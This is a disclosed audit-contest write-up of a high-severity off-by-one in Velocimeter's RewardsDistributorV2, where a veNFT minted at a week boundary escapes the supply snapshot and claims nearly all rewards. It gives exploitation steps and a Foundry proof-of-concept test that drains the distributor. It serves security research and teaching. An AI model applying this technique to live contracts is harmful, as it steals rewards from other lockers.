# `ve_supply` is updated incorrectly

Off-by-one in RewardsDistributorV2 checkpoint lets a user mint a veNFT at a week boundary and capture nearly all future distribution rewards.

- Payout: Audit contest
- Severity: high
- Program: Velocimeter
- Found by: 0xpiken
- Disclosed: 2024-06-27
- Write-up quality: 7/10
- Original: https://github.com/sherlock-audit/2024-06-velocimeter-judging/issues/495
- Library page: https://bugbountylibrary.com/r/sherlock%3A2024-06-velocimeter%3AH-9
- Tags: area:web3 domain:web3 impact:funds-loss kind:contest platform:sherlock sev:high tech:evm tech:solidity technique:source-review vuln:accounting-error vuln:reward-distribution

**Target:** RewardsDistributorV2._checkpoint_total_supply / ve_supply accounting
**Root cause:** The loop breaks only when `t > rounded_timestamp`, so when block.timestamp is exactly a week boundary, ve_supply[t] is written for the current (not-yet-ended) week before a newly created veNFT is checkpointed.
**Steps:**
1. `vm.warp` to an exact week boundary (`block.timestamp / 1 weeks * 1 weeks`)
2. Call `minter.update_period()` so `_checkpoint_total_supply` writes `ve_supply[t]` for the current week with the pre-mint total
3. `escrow.create_lock(2e18, 50 weeks)` mints a new veNFT (tokenId 3) not counted in `ve_supply[t]`
4. Advance one week, call `minter.update_period()` to set `tokens_per_week`
5. `distributor.claimable(3)` ≈ 10e18 of the 10e18 deposited; `distributor.claim(3)` drains it, leaving token1's 5e18 unclaimable (revert)
**How found:** Code review of the checkpoint loop: noticed the break condition uses `>` against `rounded_timestamp`, meaning the current week's supply is recorded before the week ends, and reasoned that a lock created right after would be omitted from the denominator.
**Exploitation:** Attacker waits for/forces a call to update_period at an exact week boundary, then immediately creates a large veNFT so its balance is excluded from ve_supply[t]; since rewards are divided by the understated supply, the new NFT claims nearly the entire epoch's distribution, starving existing lockers.
**Insight:** In reward-accounting loops, check whether the boundary comparison (`>` vs `>=`) lets the current, still-open epoch be checkpointed; any state change (new lock/mint) after that snapshot is excluded from the denominator and can dilute/steal rewards.

## Proof of concept (copied exactly from the original report)

**Foundry test stealing future distribution rewards**

```
function testStealFutureDistributeReward() public {
        initializeVotingEscrow();

        vm.warp((block.timestamp + 1 weeks) / 1 weeks * 1 weeks); 
        minter.update_period();
        //@audit-info malicious can mint a new nft (tokenId == 3) to steal future distribution reward
        flowDaiPair.approve(address(escrow), 2e18);
        escrow.create_lock(2e18,50 weeks);
        //@audit-info 10e18 DAI was deposited into distributor
        DAI.transfer(address(distributor), 10e18);
        vm.warp(block.timestamp + 1 weeks);
        //@audit-info update_period() is called to update  `tokens_per_week`
        minter.update_period();
        //@audit-info the owner of token3 is eligible to claim almost all distribution reward
        assertApproxEqAbs(distributor.claimable(3),  10e18, 0.2e18);
        distributor.claim(3);
        //@audit-info distributor doesn't have enough DAI for token1 to claim
        assertLt(DAI.balanceOf(address(distributor)), 0.2e18);
        assertEq(distributor.claimable(1), 5e18);
        vm.expectRevert();
        distributor.claim(1);
    }
```

